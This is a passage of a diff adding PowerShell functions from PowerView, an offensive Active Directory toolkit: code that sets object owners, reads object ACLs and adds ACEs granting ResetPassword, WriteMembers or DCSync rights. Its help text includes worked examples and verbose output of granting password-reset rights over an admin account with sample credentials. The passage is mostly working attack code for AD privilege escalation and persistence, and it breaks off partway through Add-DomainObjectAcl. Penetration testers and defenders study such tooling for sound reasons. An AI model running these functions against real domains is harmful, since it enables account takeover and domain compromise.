$SearchScope } + if ($PSBoundParameters['ResultPageSize']) { $PrincipalSearcherArguments['ResultPageSize'] = $ResultPageSize } + if ($PSBoundParameters['ServerTimeLimit']) { $PrincipalSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } + if ($PSBoundParameters['Tombstone']) { $PrincipalSearcherArguments['Tombstone'] = $Tombstone } + if ($PSBoundParameters['Credential']) { $PrincipalSearcherArguments['Credential'] = $Credential } + $Principal = Get-DomainObject @PrincipalSearcherArguments + if (-not $Principal) { + throw "Unable to resolve principal: $PrincipalIdentity" + } + elseif($Principal.Count -gt 1) { + throw "PrincipalIdentity matches multiple AD objects, but only one is allowed" + } + $ObjectSid = $Principal.objectsid + } + else { + $ObjectSid = $PrincipalIdentity + } + + $ADRight = 0 + foreach($r in $Right) { + $ADRight = $ADRight -bor (([System.DirectoryServices.ActiveDirectoryRights]$r).value__) + } + $ADRight = [System.DirectoryServices.ActiveDirectoryRights]$ADRight + + $Identity = [System.Security.Principal.IdentityReference] ([System.Security.Principal.SecurityIdentifier]$ObjectSid) + } + + Process { + if($PSCmdlet.ParameterSetName -eq 'AuditRuleType') { + + if($ObjectType -eq $null -and $InheritanceType -eq [String]::Empty -and $InheritedObjectType -eq $null) { + New-Object System.DirectoryServices.ActiveDirectoryAuditRule -ArgumentList $Identity, $ADRight, $AuditFlag + } elseif($ObjectType -eq $null -and $InheritanceType -ne [String]::Empty -and $InheritedObjectType -eq $null) { + New-Object System.DirectoryServices.ActiveDirectoryAuditRule -ArgumentList $Identity, $ADRight, $AuditFlag, ([System.DirectoryServices.ActiveDirectorySecurityInheritance]$InheritanceType) + } elseif($ObjectType -eq $null -and $InheritanceType -ne [String]::Empty -and $InheritedObjectType -ne $null) { + New-Object System.DirectoryServices.ActiveDirectoryAuditRule -ArgumentList $Identity, $ADRight, $AuditFlag, ([System.DirectoryServices.ActiveDirectorySecurityInheritance]$InheritanceType), $InheritedObjectType + } elseif($ObjectType -ne $null -and $InheritanceType -eq [String]::Empty -and $InheritedObjectType -eq $null) { + New-Object System.DirectoryServices.ActiveDirectoryAuditRule -ArgumentList $Identity, $ADRight, $AuditFlag, $ObjectType + } elseif($ObjectType -ne $null -and $InheritanceType -ne [String]::Empty -and $InheritedObjectType -eq $null) { + New-Object System.DirectoryServices.ActiveDirectoryAuditRule -ArgumentList $Identity, $ADRight, $AuditFlag, $ObjectType, $InheritanceType + } elseif($ObjectType -ne $null -and $InheritanceType -ne [String]::Empty -and $InheritedObjectType -ne $null) { + New-Object System.DirectoryServices.ActiveDirectoryAuditRule -ArgumentList $Identity, $ADRight, $AuditFlag, $ObjectType, $InheritanceType, $InheritedObjectType + } + + } + else { + + if($ObjectType -eq $null -and $InheritanceType -eq [String]::Empty -and $InheritedObjectType -eq $null) { + New-Object System.DirectoryServices.ActiveDirectoryAccessRule -ArgumentList $Identity, $ADRight, $AccessControlType + } elseif($ObjectType -eq $null -and $InheritanceType -ne [String]::Empty -and $InheritedObjectType -eq $null) { + New-Object System.DirectoryServices.ActiveDirectoryAccessRule -ArgumentList $Identity, $ADRight, $AccessControlType, ([System.DirectoryServices.ActiveDirectorySecurityInheritance]$InheritanceType) + } elseif($ObjectType -eq $null -and $InheritanceType -ne [String]::Empty -and $InheritedObjectType -ne $null) { + New-Object System.DirectoryServices.ActiveDirectoryAccessRule -ArgumentList $Identity, $ADRight, $AccessControlType, ([System.DirectoryServices.ActiveDirectorySecurityInheritance]$InheritanceType), $InheritedObjectType + } elseif($ObjectType -ne $null -and $InheritanceType -eq [String]::Empty -and $InheritedObjectType -eq $null) { + New-Object System.DirectoryServices.ActiveDirectoryAccessRule -ArgumentList $Identity, $ADRight, $AccessControlType, $ObjectType + } elseif($ObjectType -ne $null -and $InheritanceType -ne [String]::Empty -and $InheritedObjectType -eq $null) { + New-Object System.DirectoryServices.ActiveDirectoryAccessRule -ArgumentList $Identity, $ADRight, $AccessControlType, $ObjectType, $InheritanceType + } elseif($ObjectType -ne $null -and $InheritanceType -ne [String]::Empty -and $InheritedObjectType -ne $null) { + New-Object System.DirectoryServices.ActiveDirectoryAccessRule -ArgumentList $Identity, $ADRight, $AccessControlType, $ObjectType, $InheritanceType, $InheritedObjectType + } + + } + } +} + + +function Set-DomainObjectOwner { +<# +.SYNOPSIS + +Modifies the owner for a specified active directory object. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-DomainObject + +.DESCRIPTION + +Retrieves the Active Directory object specified by -Identity by splatting to +Get-DomainObject, returning the raw searchresult object. Retrieves the raw +directoryentry for the object, and sets the object owner to -OwnerIdentity. + +.PARAMETER Identity + +A SamAccountName (e.g. harmj0y), DistinguishedName (e.g. CN=harmj0y,CN=Users,DC=testlab,DC=local), +SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d201) +of the AD object to set the owner for. + +.PARAMETER OwnerIdentity + +A SamAccountName (e.g. harmj0y), DistinguishedName (e.g. CN=harmj0y,CN=Users,DC=testlab,DC=local), +SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d201) +of the owner to set for -Identity. + +.PARAMETER Domain + +Specifies the domain to use for the query, defaults to the current domain. + +.PARAMETER LDAPFilter + +Specifies an LDAP query string that is used to filter Active Directory objects. + +.PARAMETER SearchBase + +The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" +Useful for OU queries. + +.PARAMETER Server + +Specifies an Active Directory server (domain controller) to bind to. + +.PARAMETER SearchScope + +Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). + +.PARAMETER ResultPageSize + +Specifies the PageSize to set for the LDAP searcher object. + +.PARAMETER ServerTimeLimit + +Specifies the maximum amount of time the server spends searching. Default of 120 seconds. + +.PARAMETER Tombstone + +Switch. Specifies that the searcher should also return deleted/tombstoned objects. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target domain. + +.EXAMPLE + +Set-DomainObjectOwner -Identity dfm -OwnerIdentity harmj0y + +Set the owner of 'dfm' in the current domain to 'harmj0y'. + +.EXAMPLE + +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Set-DomainObjectOwner -Identity dfm -OwnerIdentity harmj0y -Credential $Cred + +Set the owner of 'dfm' in the current domain to 'harmj0y' using the alternate credentials. +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseShouldProcessForStateChangingFunctions', '')] + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [CmdletBinding()] + Param( + [Parameter(Position = 0, Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('DistinguishedName', 'SamAccountName', 'Name')] + [String] + $Identity, + + [Parameter(Mandatory = $True)] + [ValidateNotNullOrEmpty()] + [Alias('Owner')] + [String] + $OwnerIdentity, + + [ValidateNotNullOrEmpty()] + [String] + $Domain, + + [ValidateNotNullOrEmpty()] + [Alias('Filter')] + [String] + $LDAPFilter, + + [ValidateNotNullOrEmpty()] + [Alias('ADSPath')] + [String] + $SearchBase, + + [ValidateNotNullOrEmpty()] + [Alias('DomainController')] + [String] + $Server, + + [ValidateSet('Base', 'OneLevel', 'Subtree')] + [String] + $SearchScope = 'Subtree', + + [ValidateRange(1, 10000)] + [Int] + $ResultPageSize = 200, + + [ValidateRange(1, 10000)] + [Int] + $ServerTimeLimit, + + [Switch] + $Tombstone, + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty + ) + + BEGIN { + $SearcherArguments = @{} + if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain } + if ($PSBoundParameters['LDAPFilter']) { $SearcherArguments['LDAPFilter'] = $LDAPFilter } + if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase } + if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server } + if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope } + if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize } + if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } + if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone } + if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } + + $OwnerSid = Get-DomainObject @SearcherArguments -Identity $OwnerIdentity -Properties objectsid | Select-Object -ExpandProperty objectsid + if ($OwnerSid) { + $OwnerIdentityReference = [System.Security.Principal.SecurityIdentifier]$OwnerSid + } + else { + Write-Warning "[Set-DomainObjectOwner] Error parsing owner identity '$OwnerIdentity'" + } + } + + PROCESS { + if ($OwnerIdentityReference) { + $SearcherArguments['Raw'] = $True + $SearcherArguments['Identity'] = $Identity + + # splat the appropriate arguments to Get-DomainObject + $RawObject = Get-DomainObject @SearcherArguments + + ForEach ($Object in $RawObject) { + try { + Write-Verbose "[Set-DomainObjectOwner] Attempting to set the owner for '$Identity' to '$OwnerIdentity'" + $Entry = $RawObject.GetDirectoryEntry() + $Entry.PsBase.Options.SecurityMasks = 'Owner' + $Entry.PsBase.ObjectSecurity.SetOwner($OwnerIdentityReference) + $Entry.PsBase.CommitChanges() + } + catch { + Write-Warning "[Set-DomainObjectOwner] Error setting owner: $_" + } + } + } + } +} + + +function Get-DomainObjectAcl { +<# +.SYNOPSIS + +Returns the ACLs associated with a specific active directory object. By default +the DACL for the object(s) is returned, but the SACL can be returned with -Sacl. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-DomainSearcher, Get-DomainGUIDMap + +.PARAMETER Identity + +A SamAccountName (e.g. harmj0y), DistinguishedName (e.g. CN=harmj0y,CN=Users,DC=testlab,DC=local), +SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d201). +Wildcards accepted. + +.PARAMETER Sacl + +Switch. Return the SACL instead of the DACL for the object (default behavior). + +.PARAMETER ResolveGUIDs + +Switch. Resolve GUIDs to their display names. + +.PARAMETER RightsFilter + +A specific set of rights to return ('All', 'ResetPassword', 'WriteMembers'). + +.PARAMETER Domain + +Specifies the domain to use for the query, defaults to the current domain. + +.PARAMETER LDAPFilter + +Specifies an LDAP query string that is used to filter Active Directory objects. + +.PARAMETER SearchBase + +The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" +Useful for OU queries. + +.PARAMETER Server + +Specifies an Active Directory server (domain controller) to bind to. + +.PARAMETER SearchScope + +Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). + +.PARAMETER ResultPageSize + +Specifies the PageSize to set for the LDAP searcher object. + +.PARAMETER ServerTimeLimit + +Specifies the maximum amount of time the server spends searching. Default of 120 seconds. + +.PARAMETER Tombstone + +Switch. Specifies that the searcher should also return deleted/tombstoned objects. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target domain. + +.EXAMPLE + +Get-DomainObjectAcl -Identity matt.admin -domain testlab.local -ResolveGUIDs + +Get the ACLs for the matt.admin user in the testlab.local domain and +resolve relevant GUIDs to their display names. + +.EXAMPLE + +Get-DomainOU | Get-DomainObjectAcl -ResolveGUIDs + +Enumerate the ACL permissions for all OUs in the domain. + +.EXAMPLE + +Get-DomainOU | Get-DomainObjectAcl -ResolveGUIDs -Sacl + +Enumerate the SACLs for all OUs in the domain, resolving GUIDs. + +.EXAMPLE + +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-DomainObjectAcl -Credential $Cred -ResolveGUIDs + +.OUTPUTS + +PowerView.ACL + +Custom PSObject with ACL entries. +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType('PowerView.ACL')] + [CmdletBinding()] + Param ( + [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('DistinguishedName', 'SamAccountName', 'Name')] + [String[]] + $Identity, + + [Switch] + $Sacl, + + [Switch] + $ResolveGUIDs, + + [String] + [Alias('Rights')] + [ValidateSet('All', 'ResetPassword', 'WriteMembers')] + $RightsFilter, + + [ValidateNotNullOrEmpty()] + [String] + $Domain, + + [ValidateNotNullOrEmpty()] + [Alias('Filter')] + [String] + $LDAPFilter, + + [ValidateNotNullOrEmpty()] + [Alias('ADSPath')] + [String] + $SearchBase, + + [ValidateNotNullOrEmpty()] + [Alias('DomainController')] + [String] + $Server, + + [ValidateSet('Base', 'OneLevel', 'Subtree')] + [String] + $SearchScope = 'Subtree', + + [ValidateRange(1, 10000)] + [Int] + $ResultPageSize = 200, + + [ValidateRange(1, 10000)] + [Int] + $ServerTimeLimit, + + [Switch] + $Tombstone, + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty + ) + + BEGIN { + $SearcherArguments = @{ + 'Properties' = 'samaccountname,ntsecuritydescriptor,distinguishedname,objectsid' + } + + if ($PSBoundParameters['Sacl']) { + $SearcherArguments['SecurityMasks'] = 'Sacl' + } + else { + $SearcherArguments['SecurityMasks'] = 'Dacl' + } + if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain } + if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase } + if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server } + if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope } + if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize } + if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } + if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone } + if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } + $Searcher = Get-DomainSearcher @SearcherArguments + + $DomainGUIDMapArguments = @{} + if ($PSBoundParameters['Domain']) { $DomainGUIDMapArguments['Domain'] = $Domain } + if ($PSBoundParameters['Server']) { $DomainGUIDMapArguments['Server'] = $Server } + if ($PSBoundParameters['ResultPageSize']) { $DomainGUIDMapArguments['ResultPageSize'] = $ResultPageSize } + if ($PSBoundParameters['ServerTimeLimit']) { $DomainGUIDMapArguments['ServerTimeLimit'] = $ServerTimeLimit } + if ($PSBoundParameters['Credential']) { $DomainGUIDMapArguments['Credential'] = $Credential } + + # get a GUID -> name mapping + if ($PSBoundParameters['ResolveGUIDs']) { + $GUIDs = Get-DomainGUIDMap @DomainGUIDMapArguments + } + } + + PROCESS { + if ($Searcher) { + $IdentityFilter = '' + $Filter = '' + $Identity | Where-Object {$_} | ForEach-Object { + $IdentityInstance = $_.Replace('(', '\28').Replace(')', '\29') + if ($IdentityInstance -match '^S-1-.*') { + $IdentityFilter += "(objectsid=$IdentityInstance)" + } + elseif ($IdentityInstance -match '^(CN|OU|DC)=.*') { + $IdentityFilter += "(distinguishedname=$IdentityInstance)" + if ((-not $PSBoundParameters['Domain']) -and (-not $PSBoundParameters['SearchBase'])) { + # if a -Domain isn't explicitly set, extract the object domain out of the distinguishedname + # and rebuild the domain searcher + $IdentityDomain = $IdentityInstance.SubString($IdentityInstance.IndexOf('DC=')) -replace 'DC=','' -replace ',','.' + Write-Verbose "[Get-DomainObjectAcl] Extracted domain '$IdentityDomain' from '$IdentityInstance'" + $SearcherArguments['Domain'] = $IdentityDomain + $Searcher = Get-DomainSearcher @SearcherArguments + if (-not $Searcher) { + Write-Warning "[Get-DomainObjectAcl] Unable to retrieve domain searcher for '$IdentityDomain'" + } + } + } + elseif ($IdentityInstance -imatch '^[0-9A-F]{8}-([0-9A-F]{4}-){3}[0-9A-F]{12}$') { + $GuidByteString = (([Guid]$IdentityInstance).ToByteArray() | ForEach-Object { '\' + $_.ToString('X2') }) -join '' + $IdentityFilter += "(objectguid=$GuidByteString)" + } + elseif ($IdentityInstance.Contains('.')) { + $IdentityFilter += "(|(samAccountName=$IdentityInstance)(name=$IdentityInstance)(dnshostname=$IdentityInstance))" + } + else { + $IdentityFilter += "(|(samAccountName=$IdentityInstance)(name=$IdentityInstance)(displayname=$IdentityInstance))" + } + } + if ($IdentityFilter -and ($IdentityFilter.Trim() -ne '') ) { + $Filter += "(|$IdentityFilter)" + } + + if ($PSBoundParameters['LDAPFilter']) { + Write-Verbose "[Get-DomainObjectAcl] Using additional LDAP filter: $LDAPFilter" + $Filter += "$LDAPFilter" + } + + if ($Filter) { + $Searcher.filter = "(&$Filter)" + } + Write-Verbose "[Get-DomainObjectAcl] Get-DomainObjectAcl filter string: $($Searcher.filter)" + + $Results = $Searcher.FindAll() + $Results | Where-Object {$_} | ForEach-Object { + $Object = $_.Properties + + if ($Object.objectsid -and $Object.objectsid[0]) { + $ObjectSid = (New-Object System.Security.Principal.SecurityIdentifier($Object.objectsid[0],0)).Value + } + else { + $ObjectSid = $Null + } + + try { + New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList $Object['ntsecuritydescriptor'][0], 0 | ForEach-Object { if ($PSBoundParameters['Sacl']) {$_.SystemAcl} else {$_.DiscretionaryAcl} } | ForEach-Object { + if ($PSBoundParameters['RightsFilter']) { + $GuidFilter = Switch ($RightsFilter) { + 'ResetPassword' { '00299570-246d-11d0-a768-00aa006e0529' } + 'WriteMembers' { 'bf9679c0-0de6-11d0-a285-00aa003049e2' } + Default { '00000000-0000-0000-0000-000000000000' } + } + if ($_.ObjectType -eq $GuidFilter) { + $_ | Add-Member NoteProperty 'ObjectDN' $Object.distinguishedname[0] + $_ | Add-Member NoteProperty 'ObjectSID' $ObjectSid + $Continue = $True + } + } + else { + $_ | Add-Member NoteProperty 'ObjectDN' $Object.distinguishedname[0] + $_ | Add-Member NoteProperty 'ObjectSID' $ObjectSid + $Continue = $True + } + + if ($Continue) { + $_ | Add-Member NoteProperty 'ActiveDirectoryRights' ([Enum]::ToObject([System.DirectoryServices.ActiveDirectoryRights], $_.AccessMask)) + if ($GUIDs) { + # if we're resolving GUIDs, map them them to the resolved hash table + $AclProperties = @{} + $_.psobject.properties | ForEach-Object { + if ($_.Name -match 'ObjectType|InheritedObjectType|ObjectAceType|InheritedObjectAceType') { + try { + $AclProperties[$_.Name] = $GUIDs[$_.Value.toString()] + } + catch { + $AclProperties[$_.Name] = $_.Value + } + } + else { + $AclProperties[$_.Name] = $_.Value + } + } + $OutObject = New-Object -TypeName PSObject -Property $AclProperties + $OutObject.PSObject.TypeNames.Insert(0, 'PowerView.ACL') + $OutObject + } + else { + $_.PSObject.TypeNames.Insert(0, 'PowerView.ACL') + $_ + } + } + } + } + catch { + Write-Verbose "[Get-DomainObjectAcl] Error: $_" + } + } + } + } +} + + +function Add-DomainObjectAcl { +<# +.SYNOPSIS + +Adds an ACL for a specific active directory object. + +AdminSDHolder ACL approach from Sean Metcalf (@pyrotek3): https://adsecurity.org/?p=1906 + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-DomainObject + +.DESCRIPTION + +This function modifies the ACL/ACE entries for a given Active Directory +target object specified by -TargetIdentity. Available -Rights are +'All', 'ResetPassword', 'WriteMembers', 'DCSync', or a manual extended +rights GUID can be set with -RightsGUID. These rights are granted on the target +object for the specified -PrincipalIdentity. + +.PARAMETER TargetIdentity + +A SamAccountName (e.g. harmj0y), DistinguishedName (e.g. CN=harmj0y,CN=Users,DC=testlab,DC=local), +SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d201) +for the domain object to modify ACLs for. Required. Wildcards accepted. + +.PARAMETER TargetDomain + +Specifies the domain for the TargetIdentity to use for the modification, defaults to the current domain. + +.PARAMETER TargetLDAPFilter + +Specifies an LDAP query string that is used to filter Active Directory object targets. + +.PARAMETER TargetSearchBase + +The LDAP source to search through for targets, e.g. "LDAP://OU=secret,DC=testlab,DC=local" +Useful for OU queries. + +.PARAMETER PrincipalIdentity + +A SamAccountName (e.g. harmj0y), DistinguishedName (e.g. CN=harmj0y,CN=Users,DC=testlab,DC=local), +SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d201) +for the domain principal to add for the ACL. Required. Wildcards accepted. + +.PARAMETER PrincipalDomain + +Specifies the domain for the TargetIdentity to use for the principal, defaults to the current domain. + +.PARAMETER Server + +Specifies an Active Directory server (domain controller) to bind to. + +.PARAMETER SearchScope + +Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). + +.PARAMETER ResultPageSize + +Specifies the PageSize to set for the LDAP searcher object. + +.PARAMETER ServerTimeLimit + +Specifies the maximum amount of time the server spends searching. Default of 120 seconds. + +.PARAMETER Tombstone + +Switch. Specifies that the searcher should also return deleted/tombstoned objects. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target domain. + +.PARAMETER Rights + +Rights to add for the principal, 'All', 'ResetPassword', 'WriteMembers', 'DCSync'. +Defaults to 'All'. + +.PARAMETER RightsGUID + +Manual GUID representing the right to add to the target. + +.EXAMPLE + +$Harmj0ySid = Get-DomainUser harmj0y | Select-Object -ExpandProperty objectsid +Get-DomainObjectACL dfm.a -ResolveGUIDs | Where-Object {$_.securityidentifier -eq $Harmj0ySid} + +... + +Add-DomainObjectAcl -TargetIdentity dfm.a -PrincipalIdentity harmj0y -Rights ResetPassword -Verbose +VERBOSE: [Get-DomainSearcher] search string: LDAP://PRIMARY.testlab.local/DC=testlab,DC=local +VERBOSE: [Get-DomainObject] Get-DomainObject filter string: (&(|(samAccountName=harmj0y))) +VERBOSE: [Get-DomainSearcher] search string: LDAP://PRIMARY.testlab.local/DC=testlab,DC=local +VERBOSE: [Get-DomainObject] Get-DomainObject filter string:(&(|(samAccountName=dfm.a))) +VERBOSE: [Add-DomainObjectAcl] Granting principal CN=harmj0y,CN=Users,DC=testlab,DC=local 'ResetPassword' on CN=dfm (admin),CN=Users,DC=testlab,DC=local +VERBOSE: [Add-DomainObjectAcl] Granting principal CN=harmj0y,CN=Users,DC=testlab,DC=local rights GUID '00299570-246d-11d0-a768-00aa006e0529' on CN=dfm (admin),CN=Users,DC=testlab,DC=local + +Get-DomainObjectACL dfm.a -ResolveGUIDs | Where-Object {$_.securityidentifier -eq $Harmj0ySid } + +AceQualifier : AccessAllowed +ObjectDN : CN=dfm (admin),CN=Users,DC=testlab,DC=local +ActiveDirectoryRights : ExtendedRight +ObjectAceType : User-Force-Change-Password +ObjectSID : S-1-5-21-890171859-3433809279-3366196753-1114 +InheritanceFlags : None +BinaryLength : 56 +AceType : AccessAllowedObject +ObjectAceFlags : ObjectAceTypePresent +IsCallback : False +PropagationFlags : None +SecurityIdentifier : S-1-5-21-890171859-3433809279-3366196753-1108 +AccessMask : 256 +AuditFlags : None +IsInherited : False +AceFlags : None +InheritedObjectAceType : All +OpaqueLength : 0 + +.EXAMPLE + +$Harmj0ySid = Get-DomainUser harmj0y | Select-Object -ExpandProperty objectsid +Get-DomainObjectACL testuser -ResolveGUIDs | Where-Object {$_.securityidentifier -eq $Harmj0ySid} + +[no results returned] + +$SecPassword = ConvertTo-SecureString 'Password123!'-AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Add-DomainObjectAcl -TargetIdentity testuser -PrincipalIdentity harmj0y -Rights ResetPassword -Credential $Cred -Verbose +VERBOSE: [Get-Domain] Using alternate credentials for Get-Domain +VERBOSE: [Get-Domain] Extracted domain 'TESTLAB' from -Credential +VERBOSE: [Get-DomainSearcher] search string: LDAP://PRIMARY.testlab.local/DC=testlab,DC=local +VERBOSE: [Get-DomainSearcher] Using alternate credentials for LDAP connection +VERBOSE: [Get-DomainObject] Get-DomainObject filter string: (&(|(|(samAccountName=harmj0y)(name=harmj0y)))) +VERBOSE: [Get-Domain] Using alternate credentials for Get-Domain +VERBOSE: [Get-Domain] Extracted domain 'TESTLAB' from -Credential +VERBOSE: [Get-DomainSearcher] search string: LDAP://PRIMARY.testlab.local/DC=testlab,DC=local +VERBOSE: [Get-DomainSearcher] Using alternate credentials for LDAP connection +VERBOSE: [Get-DomainObject] Get-DomainObject filter string: (&(|(|(samAccountName=testuser)(name=testuser)))) +VERBOSE: [Add-DomainObjectAcl] Granting principal CN=harmj0y,CN=Users,DC=testlab,DC=local 'ResetPassword' on CN=testuser testuser,CN=Users,DC=testlab,DC=local +VERBOSE: [Add-DomainObjectAcl] Granting principal CN=harmj0y,CN=Users,DC=testlab,DC=local rights GUID '00299570-246d-11d0-a768-00aa006e0529' on CN=testuser,CN=Users,DC=testlab,DC=local + +Get-DomainObjectACL testuser -ResolveGUIDs | Where-Object {$_.securityidentifier -eq $Harmj0ySid } + +AceQualifier : AccessAllowed +ObjectDN : CN=dfm (admin),CN=Users,DC=testlab,DC=local +ActiveDirectoryRights : ExtendedRight +ObjectAceType : User-Force-Change-Password +ObjectSID : S-1-5-21-890171859-3433809279-3366196753-1114 +InheritanceFlags : None +BinaryLength : 56 +AceType : AccessAllowedObject +ObjectAceFlags : ObjectAceTypePresent +IsCallback : False +PropagationFlags : None +SecurityIdentifier : S-1-5-21-890171859-3433809279-3366196753-1108 +AccessMask : 256 +AuditFlags : None +IsInherited : False +AceFlags : None +InheritedObjectAceType : All +OpaqueLength : 0 + +.LINK + +https://adsecurity.org/?p=1906 +https://social.technet.microsoft.com/Forums/windowsserver/en-US/df3bfd33-c070-4a9c-be98-c4da6e591a0a/forum-faq-using-powershell-to-assign-permissions-on-active-directory-objects?forum=winserverpowershell +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [CmdletBinding()] + Param ( + [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('DistinguishedName', 'SamAccountName', 'Name')] + [String[]] + $TargetIdentity, + + [ValidateNotNullOrEmpty()] + [String] + $TargetDomain, + + [ValidateNotNullOrEmpty()] + [Alias('Filter')] + [String] + $TargetLDAPFilter, + + [ValidateNotNullOrEmpty()] + [String] + $TargetSearchBase, + + [Parameter(Mandatory = $True)] + [ValidateNotNullOrEmpty()] + [String[]] + $PrincipalIdentity, + + [ValidateNotNullOrEmpty()] + [String] + $PrincipalDomain, + + [ValidateNotNullOrEmpty()] + [Alias('DomainController')] + [String] + $Server, + + [ValidateSet('Base', 'OneLevel', 'Subtree')] + [String] + $SearchScope = 'Subtree', + + [ValidateRange(1, 10000)] + [Int] + $ResultPageSize = 200, + + [ValidateRange(1, 10000)] + [Int] + $ServerTimeLimit, + + [Switch] + $Tombstone, + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty, + + [ValidateSet('All', 'ResetPassword', 'WriteMembers', 'DCSync')] + [String] + $Rights = 'All', + + [Guid] + $RightsGUID + ) + + BEGIN { + $TargetSearcherArguments = @{ + 'Properties' = 'distinguishedname' + 'Raw' = $True + } + if ($PSBoundParameters['TargetDomain']) { $TargetSearcherArguments['Domain'] = $TargetDomain } + if ($PSBoundParameters['TargetLDAPFilter']) { $TargetSearcherArguments['LDAPFilter'] = $TargetLDAPFilter } + if ($PSBoundParameters['TargetSearchBase']) { $TargetSearcherArguments['SearchBase'] = $TargetSearchBase } + if ($PSBoundParameters['Server']) { $TargetSearcherArguments['Server'] = $Server } + if ($PSBoundParameters['SearchScope']) { $TargetSearcherArguments['SearchScope'] = $SearchScope } + if ($PSBoundParameters['ResultPageSize']) { $TargetSearcherArguments['ResultPageSize'] = $ResultPageSize } + if ($PSBoundParameters['ServerTimeLimit']) { $TargetSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } + if ($PSBoundParameters['Tombstone']) { $TargetSearcherArguments['Tombstone'] = $Tombstone } + if ($PSBoundParameters['Credential']) { $TargetSearcherArguments['Credential'] = $Credential } + + $PrincipalSearcherArguments = @{ + 'Identity' = $PrincipalIdentity + 'Properties' = 'distinguishedname,objectsid' + } + if ($PSBoundParameters['PrincipalDomain']) { $PrincipalSearcherArguments['Domain'] = $PrincipalDomain } + if ($PSBoundParameters['Server']) { $PrincipalSearcherArguments['Server'] = $Server } + if ($PSBoundParameters['SearchScope']) { $PrincipalSearcherArguments['SearchScope'] = $SearchScope } + if ($PSBoundParameters['ResultPageSize']) { $PrincipalSearcherArguments['ResultPageSize'] = $ResultPageSize } + if ($PSBoundParameters['ServerTimeLimit']) { $PrincipalSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } + if ($PSBoundParameters['Tombstone']) { $PrincipalSearcherArguments['Tombstone'] = $Tombstone } + if ($PSBoundParameters['Credential']) { $PrincipalSearcherArguments['Credential'] = $Credential } + $Principals = Get-DomainObject @PrincipalSearcherArguments + if (-not $Principals) { + throw "Unable to resolve principal: $PrincipalIdentity" + } + } + + PROCESS { + $TargetSearcherArguments['Identity'] = $TargetIdentity + $Targets = Get-DomainObject @TargetSearcherArguments + + ForEach ($TargetObject in $Targets) { + + $InheritanceType = [System.DirectoryServices.ActiveDirectorySecurityInheritance] 'None' + $ControlType = [System.Security.AccessControl.AccessControlType] 'Allow' + $ACEs = @() + + if ($RightsGUID) { + $GUIDs = @($RightsGUID) + } + else { + $GUIDs = Switch ($Rights) { + 